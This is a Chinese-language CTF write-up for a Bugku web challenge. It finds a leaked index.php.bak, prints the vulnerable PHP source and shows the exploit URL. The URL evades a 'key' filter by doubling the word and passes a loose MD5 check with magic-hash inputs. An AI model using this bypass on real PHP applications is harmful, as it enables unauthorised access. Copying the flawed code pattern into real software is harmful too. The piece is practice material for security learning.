欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

CTF之Bugku 备份是个好习惯

程序员文章站 2022-03-05 13:53:12
...

原理:御剑扫描后台网址,分析代码,提交的url会过滤key字符,构造kkeyey=参数;使md5字符不同,值相同,MD5绕过


CTF之Bugku 备份是个好习惯
发现有个index.php.bak,打开是下载一个东西

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

分析代码
strstr()将请求url中‘?’以后的字符赋值给str
substr()将下标为1的重新赋值给str
str_replace()把str中的key用空代替
总的来说就是替换掉key
最后需要绕过md5,加密前的MD5不同,加密后相同

构造url
http://123.206.87.240:8002/web16/index.php?kkeyey1=QNKCDZO&kkeyey2=s878926199a
拿到flag